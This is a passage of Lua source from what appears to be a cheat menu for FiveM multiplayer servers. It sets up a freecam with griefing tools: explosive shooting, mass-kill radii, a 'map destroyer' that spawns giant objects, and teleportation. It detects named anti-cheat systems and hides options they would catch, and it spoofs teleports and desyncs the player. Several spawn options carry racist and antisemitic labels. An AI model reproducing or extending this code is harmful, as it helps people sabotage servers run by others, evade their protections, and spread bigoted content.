menu.utils.isFreecamShootVehicleOptionName(selected) then if menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() then description = "Change model: " .. verticalHint else local currentMenu = menu.vars.freecamMenu local category if currentMenu then category = menu.utils.getFreecamShootVehicleCategoryName(currentMenu) end if not category then category = "Nearby Vehicles" end if category == "Custom" then description = "Change category: " .. leftRightHint .. " | Change model: " .. verticalHint .. " | Enter: add model" else local availableCategory = menu.utils.freecamShootVehicleAvailableCategoryName if category == availableCategory then description = "Change category: " .. leftRightHint .. " | Change model: " .. verticalHint else description = "Change category: " .. leftRightHint .. " | Change model: " .. verticalHint end end end end if not description then return end if menu.drawing and menu.drawing.drawDescriptionBar then menu.drawing.drawDescriptionBar(description, 0, 0, 0, {}, 0, true) end end function menuUtilities.isFreecamCtrlHeld() local leftControl = ImGuiKey.LeftControl or ImGuiKey.LeftCtrl local rightControl = ImGuiKey.RightControl or ImGuiKey.RightCtrl local modifier = ImGuiKey.ModCtrl if leftControl and Ham.isKeyDown(leftControl) then return true end if rightControl and Ham.isKeyDown(rightControl) then return true end if modifier and Ham.isKeyDown(modifier) then return true end return false end function menuUtilities.unlockFreecamMinimap() if menu.vars then menu.vars.freecamMinimapSyncActive = false end pcall(function() UnlockMinimapAngle() UnlockMinimapPosition() end) Citizen.CreateThread(function() for attempt = 1, 10, 1 do pcall(function() UnlockMinimapAngle() UnlockMinimapPosition() end) Citizen.Wait(0) end end) end function menuUtilities.initializeFreecamMenu() if menu.vars.freecamMenuActive then return end menu.vars.freecamMenuActive = true menu.vars.freecamMinimapSyncActive = true if menu.functions.startFreecamDesync then menu.functions.startFreecamDesync() end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) menu.vars.freecamOriginalPlayerCoords = originalCoords menu.vars.freecamOriginalPlayerVehicle = nil menu.vars.freecamOriginalPlayerSeat = nil if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then menu.vars.freecamOriginalPlayerVehicle = vehicle local passengers = GetVehicleMaxNumberOfPassengers(vehicle) if not passengers then passengers = -1 end for seat = -1, passengers - 1, 1 do if GetPedInVehicleSeat(vehicle, seat) == playerPed then menu.vars.freecamOriginalPlayerSeat = seat break end end end end menu.vars.freecamBlackHoleBriefQueue = {} menu.vars.freecamBlackHoleBriefQueued = {} menu.vars.freecamBlackHoleBriefDone = {} menu.vars.freecamBlackHoleWasUsed = false menu.vars.freecamBlackHoleStartCapturedThisSession = false menu.vars.freecamBlackHoleStartCoords = nil menu.vars.freecamTeleportUsedInFreecam = false local electronAC = menu.vars.antiCheats.ElectronAC local finiAC = menu.vars.antiCheats.FiniAC local waveShield = menu.vars.antiCheats.WaveShield local fiveGuard = menu.vars.antiCheats.FiveGuard local allOptions = menu.utils.freecamAllOptions local freecamOptions = {} local iterator, iteratorState, iteratorKey = ipairs(allOptions) for _, option in iterator, iteratorState, iteratorKey do local configured = menu.vars.bools[option.configVar] local enabled = configured == nil or configured == true if option.name == "Spawn Custom Object" then local objects = menu.vars.customObjects or {} if 0 < #objects then menu.vars.bools[option.configVar] = true enabled = true end elseif option.name == "Spawn Custom Vehicle" then local vehicles = menu.vars.customVehicles or {} if 0 < #vehicles then menu.vars.bools[option.configVar] = true enabled = true end elseif option.name == "Spawn Custom Ped" then local peds = menu.vars.customPeds or {} if 0 < #peds then menu.vars.bools[option.configVar] = true enabled = true end end local blocked = false if electronAC and option.blockedBy.ElectronAC then blocked = true end if finiAC and option.blockedBy.FiniAC then blocked = true end if fiveGuard and option.blockedBy.FiveGuard then blocked = true end if menu.utils.isFreecamOptionBlockedOnGrandServer and menu.utils.isFreecamOptionBlockedOnGrandServer(option.name) then blocked = true end if enabled and not blocked then if option.name == "Spawn Custom Object" then local objects = menu.vars.customObjects or {} if 0 < #objects then table.insert(freecamOptions, option.name) end elseif option.name == "Spawn Custom Vehicle" then local vehicles = menu.vars.customVehicles or {} if 0 < #vehicles then table.insert(freecamOptions, option.name) end elseif option.name == "Spawn Custom Ped" then local peds = menu.vars.customPeds or {} if 0 < #peds then table.insert(freecamOptions, option.name) end else local displayName = option.name if option.name == "Shoot Vehicle" then displayName = menu.utils.getFreecamShootVehicleOptionName() end table.insert(freecamOptions, displayName) end end end menu.utils.insertFreecamPlayerOptions(freecamOptions) menu.utils.insertFreecamPickUpVehicleOption(freecamOptions) local adjustmentMode = menu.vars if adjustmentMode then adjustmentMode = menu.vars.selectors if adjustmentMode then adjustmentMode = menu.vars.selectors.freecamAdjustKeys end end if not adjustmentMode then adjustmentMode = 2 end if adjustmentMode == 1 then table.insert(freecamOptions, "Block Menu Movement") end local defaultOptionIndex = 1 for index = 1, #freecamOptions, 1 do if freecamOptions[index] == "Look Around" then defaultOptionIndex = index break end end local shootModeChoices = { "RPG", "Bullet" } local initialShootMode = menu.vars.freecamLastShootMode or 1 if initialShootMode < 1 or initialShootMode > #shootModeChoices then initialShootMode = 1 end local attackModeChoices = { { name = "Heli", model = "frogger2" }, { name = "Vehicle", model = "asea" }, { name = "Plane", model = "stunt" }, { name = "Custom", isCustom = true } } local initialAttackMode = menu.vars.freecamLastAttackMode or 1 if initialAttackMode < 1 or initialAttackMode > #attackModeChoices then initialAttackMode = 1 end local massKillRadiusChoices = menu.utils.freecamMassKillRadiusLevels local initialRadiusIndex = menu.vars.freecamLastMassKillRadiusIndex or menu.utils.getFreecamMassKillRadiusIndexDefault() if initialRadiusIndex < 1 or initialRadiusIndex > #massKillRadiusChoices then initialRadiusIndex = menu.utils.getFreecamMassKillRadiusIndexDefault() end local pickupModeChoices = { "Inside", "Outside" } local initialPickupMode = menu.vars.freecamLastPickUpVehicleMode or 1 if initialPickupMode < 1 or initialPickupMode > #pickupModeChoices then initialPickupMode = 1 end local fallbackVehicleModels = menu.utils.nearbyVehicleFallbackModels or { "asea", "drafter", "schafter2" } local pedModeOptions = { { name = "Dolphin", model = "a_c_dolphin" }, { name = "Humpback", model = "a_c_humpback" }, { name = "Cow", model = "a_c_cow" }, { name = "Fish", model = "a_c_fish" }, { name = "Penis Man", model = "a_m_m_acult_01", naked = true }, { name = "Black Man", model = "a_m_m_beach_01", naked = true }, { name = "Jew", model = "a_m_m_hasjew_01" } } local shootObjectOptions = { { name = "KOS", model = "h4_prop_h4_sub_kos" }, { name = "Wheelchair", model = "prop_wheelchair_01_s", shootFromCam = true }, { name = "Combined", model = "xs_combined2_dyst_07_rear_hull", shootCollision = true }, { name = "Container", model = "prop_rub_cont_01b", shootFromCam = true } } local particleOptions = { { name = "Firework Burst", effect = "scr_indep_firework_grd_burst", asset = "proj_indep_firework", scale = 100.0, spawnHeight = 100.0 }, { name = "Firework Trail", effect = "scr_indep_firework_trailburst", asset = "scr_indep_fireworks", scale = 100.0, spawnHeight = 200.0 }, { name = "Firework Fountain", effect = "scr_indep_firework_fountain", asset = "scr_indep_fireworks", scale = 100.0, spawnHeight = 200.0 }, { name = "RPG Explosion", effect = "exp_air_rpg", asset = "core", scale = 100.0, spawnHeight = 100.0 }, { name = "Concrete Dust", effect = "ent_dst_concrete_large", asset = "core", scale = 100.0, spawnHeight = 25.0 } } local menuVarsAtCreation = menu.vars local newFreecamMenu = {} newFreecamMenu.vehicles = fallbackVehicleModels newFreecamMenu.vehicleSpeed = menu.vars.freecamLastVehicleSpeed or 70 newFreecamMenu.cameraSpeed = select(1, menu.utils.syncFreecamSpeedSliders()) newFreecamMenu.menuOptions = freecamOptions newFreecamMenu.selectedOption = menu.vars.freecamLastSelectedOption or defaultOptionIndex newFreecamMenu.isHoldingVehicle = false newFreecamMenu.heldVehicles = {} newFreecamMenu.heldObjects = {} newFreecamMenu.holdDistance = 15.0 newFreecamMenu.holdSensitivity = 3.0 newFreecamMenu.physgunForce = menu.vars.freecamLastPhysgunForce or 300.0 newFreecamMenu.physgunFullCollision = false newFreecamMenu.shootModes = shootModeChoices newFreecamMenu.selectedShootMode = initialShootMode newFreecamMenu.attackModes = attackModeChoices newFreecamMenu.selectedAttackMode = initialAttackMode newFreecamMenu.hasWaveShield = waveShield newFreecamMenu.randomObjectList = { "prop_bin_05a", "prop_barrel_02a", "prop_toolchest_01", "prop_beach_lounger_01", "prop_vend_soda_01", "prop_table_03", "prop_roadbarrier_01a", "prop_pallet_02a", "prop_fire_hydrant_1", "prop_dumpster_4a", "prop_ld_bench01", "prop_bench_01a", "prop_news_disp_02a", "prop_atm_02", "prop_phonebox_01a", "prop_postbox_01a", "prop_generator_03a", "prop_aircon_l_03", "prop_tv_cabinet_03", "prop_beach_parasol_03", "prop_sign_road_01a" } newFreecamMenu.objectList = menu.utils.buildFreecamObjectList() newFreecamMenu.selectedObjectIndex = menu.vars.freecamLastObjectIndex or 1 newFreecamMenu.selectedCustomObjectIndex = menu.vars.freecamLastCustomObjectIndex or 1 newFreecamMenu.selectedCustomVehicleIndex = menu.vars.freecamLastCustomVehicleIndex or 1 newFreecamMenu.selectedCustomPedIndex = menu.vars.freecamLastCustomPedIndex or 1 newFreecamMenu.pedList = pedModeOptions newFreecamMenu.selectedPedIndex = math.min(math.max(menu.vars.freecamLastPedIndex or 1, 1), math.max(#pedModeOptions, 1)) newFreecamMenu.shootObjectList = shootObjectOptions newFreecamMenu.selectedShootObjectIndex = math.min(math.max(menu.vars.freecamLastShootObjectIndex or 1, 1), math.max(#shootObjectOptions, 1)) newFreecamMenu.particleList = particleOptions newFreecamMenu.selectedParticleIndex = math.min(math.max(menu.vars.freecamLastParticleIndex or 1, 1), math.max(#particleOptions, 1)) newFreecamMenu.spawnVehicleList = fallbackVehicleModels newFreecamMenu.selectedVehicleIndex = math.min(math.max(menu.vars.freecamLastVehicleIndex or 1, 1), math.max(#fallbackVehicleModels, 1)) newFreecamMenu.shootVehicleCategories = menu.utils.getFreecamShootVehicleCategories( menu.utils.isServer185169NearbyVehicleMode and menu.utils.isServer185169NearbyVehicleMode() ) local nearbyMode = menu.utils.isServer185169NearbyVehicleMode if nearbyMode then nearbyMode = menu.utils.isServer185169NearbyVehicleMode() end if nearbyMode then newFreecamMenu.shootVehicleCategoryIndex = 1 else newFreecamMenu.shootVehicleCategoryIndex = math.min(math.max(menu.vars.freecamLastShootVehicleCategory or 1, 1), 4) end newFreecamMenu.shootVehicleSelectedIndex = math.max(menu.vars.freecamLastShootVehicleIndex or 1, 1) newFreecamMenu.shootVehicleNearbyList = {} newFreecamMenu.shootVehicleNearbyEntries = {} newFreecamMenu.shootVehicleSafeList = {} newFreecamMenu.shootVehicleLastRefresh = 0 newFreecamMenu.shootVehiclePinnedModel = nil newFreecamMenu.shootVehiclePinnedVehicle = nil do do local mapDestroyerOptions = { { name = "McDonalds Party", objects = { "xs_propint3_waste_02_garbage_b" }, isRandom = false }, { name = "Bottle Pile", objects = { "xs_propint3_waste_01_bottles" }, isRandom = false, spawnZOffset = -2.0 }, { name = "Airport Map", objects = { "ap1_lod_slod4" }, freeze = true, isRandom = false, crosshairSpawn = true, spawnZOffset = 45.0 }, { name = "New Map", objects = { "id2_lod_slod4" }, freeze = true, isRandom = false, crosshairSpawn = true, spawnZOffset = 5.0 }, { name = "Big Ring", objects = { "ar_prop_ar_neon_gate4x_01a" }, isRandom = false, ringFacingSpawn = true, spawnForwardDistance = 50.0, previewForwardDistance = 110.0, ringHeadingOffset = 90.0 }, { name = "Big Ring 2", objects = { "ar_prop_ar_neon_gate4x_03a" }, isRandom = false, ringFacingSpawn = true, spawnForwardDistance = 50.0, previewForwardDistance = 110.0, ringHeadingOffset = 90.0 }, { name = "Combat Boat", objects = { "h4_prop_x17_sub" }, isRandom = false }, { name = "Tower", objects = { "ar_prop_ar_cp_tower8x_01a" }, isRandom = false }, { name = "Trash", objects = { "xs_propint4_waste_07_props" }, freeze = true, isRandom = false }, { name = "Desert", objects = { "xs_terrain_dystopian_03" }, freeze = true, isRandom = false }, { name = "Chess area", objects = { "xs_propint2_set_scifi_04" }, freeze = true, isRandom = false }, { name = "Rim", objects = { "xs_propint4_waste_06_rim" }, isRandom = false }, { name = "Black surface", objects = { "as_prop_as_bblock_huge_05" }, freeze = true, isRandom = false }, { name = "Big Area", objects = { "xs_propint2_set_scifi_06" }, freeze = true, isRandom = false }, { name = "Big Area 2", objects = { "xs_propint2_set_scifi_05" }, freeze = true, isRandom = false }, { name = "Broken roads", objects = { "xs_combined_dyst_06_roads" }, freeze = true, isRandom = false }, { name = "Yellow Rings", objects = { "ar_prop_ar_checkpoint_fork" }, freeze = true, isRandom = false }, { name = "Crane", objects = { "prop_dock_crane_01" }, isRandom = false }, { name = "Container", objects = { "po1_sh1_props_combo_slod" }, isRandom = false }, { name = "Map", objects = { "ch3_lod_1_2_slod3" }, freeze = true, isRandom = false }, { name = "Map2", objects = { "dt1_lod_slod3" }, freeze = true, isRandom = false }, { name = "BigTube", objects = { "ar_prop_ar_tube_4x_crn_5d" }, isRandom = false }, { name = "Black box", objects = { "ar_prop_ar_stunt_block_01b" }, isRandom = false } } newFreecamMenu.mapDestroyerList = mapDestroyerOptions end end newFreecamMenu.selectedMapDestroyerIndex = menu.vars.freecamLastMapDestroyerIndex or 1 newFreecamMenu.selectedMassKillRadiusIndex = initialRadiusIndex newFreecamMenu.pickUpVehicleModes = pickupModeChoices newFreecamMenu.selectedPickUpVehicleMode = initialPickupMode newFreecamMenu.shootWeapon = _ENV.GetHashKey("WEAPON_PISTOL") newFreecamMenu.shooting = false newFreecamMenu.lastInputTime = 0 newFreecamMenu.inputCooldown = 80 newFreecamMenu.freecamBlackHoleSteerX = 0 newFreecamMenu.freecamBlackHoleSteerY = 0 newFreecamMenu.freecamBlackHoleDistance = 0.0 newFreecamMenu.freecamBlackHoleDistanceSensitivity = 4.0 newFreecamMenu.freecamBlackHolePrevRmb = false menuVarsAtCreation.freecamMenu = newFreecamMenu menu.utils.ensureFreecamShootVehicleCategories(menu.vars.freecamMenu) if electronAC and menu.vars.freecamMenu then local blockedObjects = { ["Hamburger"] = true, ["Raine"] = true, ["Bomb"] = true, ["Tube"] = true, ["Block"] = true, Container = true, ["Jew egs"] = true, ["Flatbed Trailer"] = true, ["Oil Factory"] = true, ["Cola"] = true, ["CNT"] = true, ["Goal Area"] = true, ["Tires"] = true, ["4 Big Guys"] = true, ["Silo"] = true } local objects = menu.vars.freecamMenu.objectList if objects then for index = #objects, 1, -1 do local entry = objects[index] if entry and blockedObjects[entry.name] then table.remove(objects, index) end end local count = #objects if 0 < count then if count < menu.vars.freecamMenu.selectedObjectIndex then menu.vars.freecamMenu.selectedObjectIndex = count elseif menu.vars.freecamMenu.selectedObjectIndex < 1 then menu.vars.freecamMenu.selectedObjectIndex = 1 end end end local blockedMaps = { ["Airport Map"] = true, ["New Map"] = true, ["Big Ring"] = true, ["Combat Boat"] = true, Tower = true, Trash = true, Desert = true, ["Black surface"] = true, ["Broken roads"] = true, ["Chess area"] = true, Rim = true, ["Big Area"] = true, ["Big Area 2"] = true, ["Yellow Rings"] = true, ["Crane"] = true, Map = true, Map2 = true, BigTube = true } local maps = menu.vars.freecamMenu.mapDestroyerList if maps then for index = #maps, 1, -1 do local entry = maps[index] if entry and blockedMaps[entry.name] then table.remove(maps, index) end end table.insert( maps, 1, { name = "ring 2", objects = { "ar_prop_ar_neon_gate_03a" }, isRandom = false, ringFacingSpawn = true, spawnForwardDistance = 50.0, previewForwardDistance = 110.0, ringHeadingOffset = 90.0 } ) table.insert( maps, 1, { name = "Ring", objects = { "ar_prop_ar_neon_gate_04a" }, isRandom = false, ringFacingSpawn = true, spawnForwardDistance = 50.0, previewForwardDistance = 110.0, ringHeadingOffset = 90.0 } ) local count = #maps if 0 < count then if count < menu.vars.freecamMenu.selectedMapDestroyerIndex then menu.vars.freecamMenu.selectedMapDestroyerIndex = count elseif menu.vars.freecamMenu.selectedMapDestroyerIndex < 1 then menu.vars.freecamMenu.selectedMapDestroyerIndex = 1 end end end end if waveShield and menu.vars.freecamMenu then local blockedObjects = { xs_combined2_dyst_build_02a_09 = true } local objects = menu.vars.freecamMenu.objectList if objects then for index = #objects, 1, -1 do local entry = objects[index] if entry and blockedObjects[entry.model] then table.remove(objects, index) end end local count = #objects if 0 < count then if count < menu.vars.freecamMenu.selectedObjectIndex then menu.vars.freecamMenu.selectedObjectIndex = count elseif menu.vars.freecamMenu.selectedObjectIndex < 1 then menu.vars.freecamMenu.selectedObjectIndex = 1 end end end local blockedMaps = { ["Airport Map"] = true, ["New Map"] = true, ["Big Ring"] = true, ["Big Ring 2"] = true } local maps = menu.vars.freecamMenu.mapDestroyerList if maps then for index = #maps, 1, -1 do local entry = maps[index] if entry and blockedMaps[entry.name] then table.remove(maps, index) end end local count = #maps if 0 < count then if count < menu.vars.freecamMenu.selectedMapDestroyerIndex then menu.vars.freecamMenu.selectedMapDestroyerIndex = count elseif menu.vars.freecamMenu.selectedMapDestroyerIndex < 1 then menu.vars.freecamMenu.selectedMapDestroyerIndex = 1 end end end end local blockMovement = menu.vars if blockMovement then blockMovement = menu.vars.bools if blockMovement then blockMovement = menu.vars.bools.freecamBlockQEMovement end end if blockMovement == nil or blockMovement == true then _ENV.DisableControlAction(0, 37, true) _ENV.DisableControlAction(0, 157, true) _ENV.DisableControlAction(0, 158, true) _ENV.DisableControlAction(0, 160, true) _ENV.DisableControlAction(0, 164, true) end if not menu.vars.freecamMenuThread then menu.vars.freecamMenuThread = true _ENV.Citizen.CreateThread(menu.utils.freecamMenuThread) end end function menuUtilities.cleanupFreecamMenu() if menu.vars.freecamMenu then menu.vars.freecamLastSelectedOption = menu.vars.freecamMenu.selectedOption menu.vars.freecamLastVehicleSpeed = menu.vars.freecamMenu.vehicleSpeed menu.vars.freecamLastObjectIndex = menu.vars.freecamMenu.selectedObjectIndex menu.vars.freecamLastCustomObjectIndex = menu.vars.freecamMenu.selectedCustomObjectIndex menu.vars.freecamLastCustomVehicleIndex = menu.vars.freecamMenu.selectedCustomVehicleIndex menu.vars.freecamLastCustomPedIndex = menu.vars.freecamMenu.selectedCustomPedIndex menu.vars.freecamLastPedIndex = menu.vars.freecamMenu.selectedPedIndex menu.vars.freecamLastShootObjectIndex = menu.vars.freecamMenu.selectedShootObjectIndex menu.vars.freecamLastParticleIndex = menu.vars.freecamMenu.selectedParticleIndex menu.vars.freecamLastVehicleIndex = menu.vars.freecamMenu.selectedVehicleIndex menu.vars.freecamLastShootVehicleCategory = menu.vars.freecamMenu.shootVehicleCategoryIndex menu.vars.freecamLastShootVehicleIndex = menu.vars.freecamMenu.shootVehicleSelectedIndex menu.vars.freecamLastMapDestroyerIndex = menu.vars.freecamMenu.selectedMapDestroyerIndex menu.vars.freecamLastPhysgunForce = menu.vars.freecamMenu.physgunForce menu.vars.freecamLastShootMode = menu.vars.freecamMenu.selectedShootMode menu.vars.freecamLastAttackMode = menu.vars.freecamMenu.selectedAttackMode menu.vars.freecamLastMassKillRadiusIndex = menu.vars.freecamMenu.selectedMassKillRadiusIndex menu.vars.freecamLastPickUpVehicleMode = menu.vars.freecamMenu.selectedPickUpVehicleMode if menu.vars.freecamMenu.isHoldingVehicle and menu.vars.freecamMenu.heldVehicles then local iterator, state, initial = ipairs(menu.vars.freecamMenu.heldVehicles) for _, entity in iterator, state, initial do if DoesEntityExist(entity) then DetachEntity(entity, true, true) SetEntityInvincible(entity, false) SetEntityCollision(entity, true, true) ResetEntityAlpha(entity) end end end if menu.vars.freecamMenu.isHoldingVehicle and menu.vars.freecamMenu.heldObjects then local iterator, state, initial = ipairs(menu.vars.freecamMenu.heldObjects) for _, entity in iterator, state, initial do if DoesEntityExist(entity) then DetachEntity(entity, true, true) SetEntityInvincible(entity, false) SetEntityCollision(entity, true, true) ResetEntityAlpha(entity) FreezeEntityPosition(entity, false) end end end end menu.utils.freecamBlackHoleFullStop() if menu.functions.endFreecamDesyncIfActive then menu.functions.endFreecamDesyncIfActive() end menu.vars.freecamMenuActive = false menu.vars.freecamMenuThread = false menu.utils.unlockFreecamMinimap() if not (menu.vars.bools and menu.vars.bools.rageBot) then if Ham and Ham.removeWeaponOverride then Ham.removeWeaponOverride(GetHashKey("WEAPON_PISTOL")) end if Ham and Ham.removeWeaponDamageOverride then Ham.removeWeaponDamageOverride(GetHashKey("WEAPON_PISTOL")) end end if menu.utils.clearFreecamSpawnPreview then menu.utils.clearFreecamSpawnPreview() end menu.vars.freecamPreviewSelKey = nil menu.vars.freecamMenu = nil local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 and DoesEntityExist(playerPed) then SetEntityVisible(playerPed, true, false) ResetEntityAlpha(playerPed) local invisibility = _G.pmTempInvisStack if invisibility and invisibility.ref and 0 < invisibility.ref then invisibility.ref = 0 invisibility.restoreVisible = nil end end if menu.vars._launchTempNoclipActive and Ham and Ham.noClip then Ham.noClip(false) menu.vars._launchTempNoclipActive = false end EnableControlAction(0, 37, true) EnableControlAction(0, 157, true) EnableControlAction(0, 158, true) EnableControlAction(0, 160, true) EnableControlAction(0, 164, true) SetPedCanSwitchWeapon(PlayerPedId(), true) if menu.vars.freecamMenu and menu.vars.freecamMenu.spawnedEntities then local iterator, state, initial = pairs(menu.vars.freecamMenu.spawnedEntities) for _, entity in iterator, state, initial do if DoesEntityExist(entity) then DeleteEntity(entity) end end end Citizen.CreateThread(function() ClearFocus() local ped = PlayerPedId() local coords = GetEntityCoords(ped) RequestCollisionAtCoord(coords.x, coords.y, coords.z) RequestAdditionalCollisionAtCoord(coords.x, coords.y, coords.z) Citizen.Wait(150) SetFocusArea(coords.x, coords.y, coords.z) for attempt = 1, 5, 1 do Citizen.Wait(50) RequestCollisionAtCoord(coords.x, coords.y, coords.z) RequestAdditionalCollisionAtCoord(coords.x, coords.y, coords.z) end menu.vars.freecamOriginalPlayerCoords = nil menu.vars.freecamOriginalPlayerVehicle = nil menu.vars.freecamOriginalPlayerSeat = nil end) end function menuUtilities.getFreecamLookSpawnPosSync(shapeFlags) local cameraPosition = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraPosition or not cameraRotation then return nil end local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local endpoint = cameraPosition + direction * 1000.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, shapeFlags or 1, PlayerPedId(), 0 ) local status, hit, hitPosition = 1, nil, nil while status == 1 do Citizen.Wait(0) status, hit, hitPosition = GetShapeTestResult(ray) end if hit ~= 1 or not hitPosition then return nil end RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) return vector3(hitPosition.x, hitPosition.y, hitPosition.z), cameraRotation end function menuUtilities.updateFreecamPreviewRaycast(shapeFlags) shapeFlags = shapeFlags or 1 local pending = menu.vars.freecamPreviewRayPending if pending and pending.handle then local status, hit, hitPosition = GetShapeTestResult(pending.handle) if status == 1 then return end menu.vars.freecamPreviewRayPending = nil if hit == 1 and hitPosition then menu.vars.freecamPreviewRayPos = vector3(hitPosition.x, hitPosition.y, hitPosition.z) menu.vars.freecamPreviewRayRot = pending.camRot RequestCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) RequestAdditionalCollisionAtCoord(hitPosition.x, hitPosition.y, hitPosition.z) end end local cameraPosition = GetFinalRenderedCamCoord() or GetGameplayCamCoord() local cameraRotation = GetFinalRenderedCamRot(2) or GetGameplayCamRot(2) if not cameraPosition or not cameraRotation then return end menu.vars.freecamPreviewRayRot = cameraRotation local directionX = -math.sin(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local directionY = math.cos(math.rad(cameraRotation.z)) * math.cos(math.rad(cameraRotation.x)) local direction = vector3(directionX, directionY, math.sin(math.rad(cameraRotation.x))) local endpoint = cameraPosition + direction * 1000.0 local ray = StartShapeTestRay( cameraPosition.x, cameraPosition.y, cameraPosition.z, endpoint.x, endpoint.y, endpoint.z, shapeFlags, PlayerPedId(), 0 ) menu.vars.freecamPreviewRayPending = { handle = ray, camRot = cameraRotation, shapeFlags = shapeFlags } end function menuUtilities.configureFreecamPreviewEntity(previewEntity) if not previewEntity or previewEntity == 0 or not DoesEntityExist(previewEntity) then return end SetEntityAlpha(previewEntity, 130, false) SetEntityCollision(previewEntity, false, false) FreezeEntityPosition(previewEntity, true) SetEntityInvincible(previewEntity, true) Citizen.InvokeNative(3021625026, 255, 255, 255, 255) Citizen.InvokeNative(1981285383, previewEntity, true) end function menuUtilities.freecamFormatSpawnNum(value, fallback) local number = tonumber(value) if not number or number ~= number or number == math.huge or number == -math.huge then number = fallback or 0.0 end return string.format("%.6f", number) end function menuUtilities.freecamWrapSpawnExecuteCode(code) if not code or code == "" then return code end local prefix = "Citizen.CreateThread(function()\n" local suffix = [[ end)]] return prefix .. code .. suffix end function menuUtilities.isFreecamNoOffsetModel(model) return model == "h4_prop_h4_sub_kos" or model == "xs_propint3_waste_05_goals" or model == "xs_propint3_waste_04_tires" or model == "xs_propint3_waste_03_tires" or model == "xs_propint3_waste_03_tirerim" or model == "xs_propint3_set_waste_03_licencep" end function menuUtilities.isFreecamOriginSpawnModel(model) return model == "xs_propint3_waste_03_tirerim" end function menuUtilities.getFreecamObjectGroundZ(x, y, z, unusedOption) RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) local groundZ = nil local heights = { z + 800.0, z + 200.0, z + 50.0 } local iterator, state, initial = ipairs(heights) for _, height in iterator, state, initial do local found, result = GetGroundZFor_3dCoord(x, y, height, false) if found then groundZ = result break end end if not groundZ then local ray = StartShapeTestRay(x, y, z + 50.0, x, y, z - 50.0, 1, 0, 0) local status, hit, hitPosition = 1, nil, nil local deadline = GetGameTimer() + 100 while status == 1 and deadline > GetGameTimer() do Citizen.Wait(0) status, hit, hitPosition = GetShapeTestResult(ray) end if status == 2 and hit == 1 and hitPosition then groundZ = hitPosition.z end end return groundZ or z end function menuUtilities.findFreecamTeleportGroundZ(x, y, z) RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) local heights = { z + 800.0, z + 200.0, z + 50.0 } local iterator, state, initial = ipairs(heights) for _, height in iterator, state, initial do local found, groundZ = GetGroundZFor_3dCoord(x, y, height, false) if found and groundZ and -200.0 < groundZ then return groundZ end end local ray = StartShapeTestRay(x, y, z + 50.0, x, y, z - 1000.0, 1, 0, 0) local status, hit, hitPosition = GetShapeTestResult(ray) local deadline = GetGameTimer() + 150 while status == 1 and deadline > GetGameTimer() do Citizen.Wait(0) status, hit, hitPosition = GetShapeTestResult(ray) end if status == 2 and hit == 1 and hitPosition then return hitPosition.z end return nil end function menuUtilities.resolveFreecamVehicleGroundZ(x, y, z, entity) z = z or 0.0 local groundZ = menu.utils.findFreecamTeleportGroundZ(x, y, z) or z local minimumZ = 0.0 if entity and entity ~= 0 and DoesEntityExist(entity) then local model = GetEntityModel(entity) if model and model ~= 0 then local minimum = GetModelDimensions(model) if minimum and minimum.z then minimumZ = minimum.z end end end return groundZ - minimumZ + 0.05 end function menuUtilities.resolveFreecamTeleportCoords(vector) if not vector then return nil end local x, y, z = vector.x, vector.y, vector.z if not x or not y or not z then return nil end if math.abs(x) < 0.01 and math.abs(y) < 0.01 and math.abs(z) < 0.01 then return nil end local groundZ = menu.utils.findFreecamTeleportGroundZ(x, y, z) if groundZ then return vector3(x, y, groundZ + 0.05) end if 1.0 < z then return vector3(x, y, z + 0.05) end return nil end function menuUtilities.freecamTeleportPedToGround(vector) if not vector then return false end local playerPed = PlayerPedId() if not playerPed or playerPed == 0 then return false end if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end local x, y, z = vector.x, vector.y, vector.z RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) local deadline = GetGameTimer() + 900 while not HasCollisionLoadedAroundEntity(playerPed) and deadline > GetGameTimer() do RequestCollisionAtCoord(x, y, z) RequestAdditionalCollisionAtCoord(x, y, z) Citizen.Wait(10) end local targetZ = (menu.utils.findFreecamTeleportGroundZ(x, y, z) or z) + 0.05 FreezeEntityPosition(playerPed, true) ClearPedTasksImmediately(playerPed) SetEntityVelocity(playerPed, 0.0, 0.0, 0.0) SetEntityCoordsNoOffset(playerPed, x, y, targetZ, false, false, false) Citizen.Wait(0) SetEntityCoordsNoOffset(playerPed, x, y, targetZ, false, false, false) FreezeEntityPosition(playerPed, false) if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end return true end function menuUtilities.freecamTeleportPlayerToGround(vector) if not vector then return false end local playerPed = PlayerPedId() if not playerPed or playerPed == 0 then return false end local restoreState = menu.utils.getFreecamPlayerRestoreState(playerPed) local vehicle = restoreState and restoreState.vehicle if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return menu.utils.freecamTeleportPedToGround(vector) end local driver = GetPedInVehicleSeat(vehicle, -1) local shouldMoveVehicle if driver ~= playerPed then shouldMoveVehicle = not IsPedInVehicle(playerPed, vehicle, false) and restoreState.seat == -1 else shouldMoveVehicle = true end if not shouldMoveVehicle then if IsPedInAnyVehicle(playerPed, false) then ClearPedTasksImmediately(playerPed) end if not menu.utils.freecamTeleportPedToGround(vector) then return false end menu.vars.freecamOriginalPlayerVehicle = nil menu.vars.freecamOriginalPlayerSeat = nil menu.vars.freecamOriginalPlayerCoords = GetEntityCoords(playerPed) return true end if Ham and Ham.spoofTeleport then 